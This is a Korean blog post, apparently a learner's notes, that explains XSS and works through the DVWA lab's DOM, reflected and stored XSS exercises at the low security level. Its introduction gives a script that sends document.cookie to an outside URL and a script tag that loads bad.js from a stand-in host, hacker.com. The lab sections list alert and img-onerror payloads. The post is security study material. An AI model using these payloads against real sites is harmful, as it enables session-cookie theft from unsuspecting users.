Network/DVWA

Exercise 10. XSS

dcho 2019. 8. 9. 00:21
SMALL
자바스크립트
  • 웹 애플리케이션에서 사용되는 언어
    • HTML : 텍스트, 이미지 등 정적인 내용을 표시
    • 자바스크립트 : 동적인 기능 구현(예. 마우스를 가져가면 메뉴의 색이 변함)
  • <script>스크립트코드</script>와 같이 구현
    • <script>document.location='http:~/cookie?'+document.cookie</script>
    • <script src=http://hacker.com/bad.js></script>

XSS 공격이란?
  • 클라이언트 쪽의 웹브라우저를 공격하는 기법
  • <script>와 같은 입력값이 그대로 웹페이지에 표시되면 위험
  • 자바스크립트를 이용해 세션쿠기를 탈취

  • 공격기법
    •     (출처:인프런/화이트해커가-되기위한-8가지)
  • DOM XSS 공격
    • DOM(Document Object Model)은 W3C 표준으로 HTML 및 XML 문서에 접근방법을 표준으로 정의하는 문서객체 모델이다.
    • W3C에서는 '프로그램 및 스크립트가 문서의 컨텐츠, 구조 및 형식을 동적으로 접근 및 업데이트할 수 있도록 하는 언어 중립적인 인터페이스'라고 정의 되어 있다.
    • DOM 객체를 포함하는 자바스크립트 등을 이용하여 DOM데이터 접근 시 검증 되지 않은 입력 값이 자바 스크립트를 통해 삽입되어 발생하는 취약점.
    • 차이점이라고하면 DOM 기반 XSS는 서버와 관계없이 브라우저에서 발생하는 것이다.


DVWA 실습

DOM

(Low)

소스코드는 다음과 같다. 이부분을 우회 해야 한다.

'default=' 다음 부분부터 공격코드가 들어가면 된다고 한다.

페이로드를 확인해 주기 위해 'English'를 Select 해주어 URL을 확인해 준다.

// ?default= 뒤부분에 
#<scipt>alert(123)</script>
#<script>alert(document.cookie)</script>
그런다음 URL에 #을 넣어주어 경고 상자를 표시 할 수 있다. # 문자 뒤에 모든 것이 브라우저에서 쿼리의 일부로 처리되지 않고 조각으로 처리되므로 서버에 전송되지 않는다. 

성공~


Reflected 

(Low)

이름을 입력하는 폼이 나온다.

소스코드를 읽어보니 get방식으로 name을 읽어와서 출력해주고 있다.

<script>alert(123)</script>
<img src=aa onerror="alert('aa')">
<script>alert(document.cookie)</script>
여기에 어떠한 보호기법도 없기 때문에 간단하게 공격을 해보았다.

alert문이 성공적으로 뜨는 것을 확인해 볼 수 있었다.



Stored

(Low)

이렇게 게시글을 올리는 폼이 있다.  소스코드에는 특별한 것이 보이지 않기 때문에 넘기고 바로 글을 올려 보았다.

정상적으로 들어왔을때의 모습이다. 하지만 스크립트문을 메세지에 넣어본다면?

<script>alert(123)</script>
<img src=aa onerror="alert('aa')">
<script>alert(document.cookie)</script>

이렇게 게시글등록과 동시에 alert가 뜨는것을 확인해 볼 수 있었다.






'Network > DVWA' 카테고리의 다른 글

Exercise 12. JavaScript  (0) 2019.08.09
Exercise 11. CSP Bypass  (0) 2019.08.09
Exercise 9. Weak Session IDs  (0) 2019.08.09
Exercise 8. SQL Injection (Blind)  (0) 2019.08.08
Exercise 7. SQL Injection  (0) 2019.08.08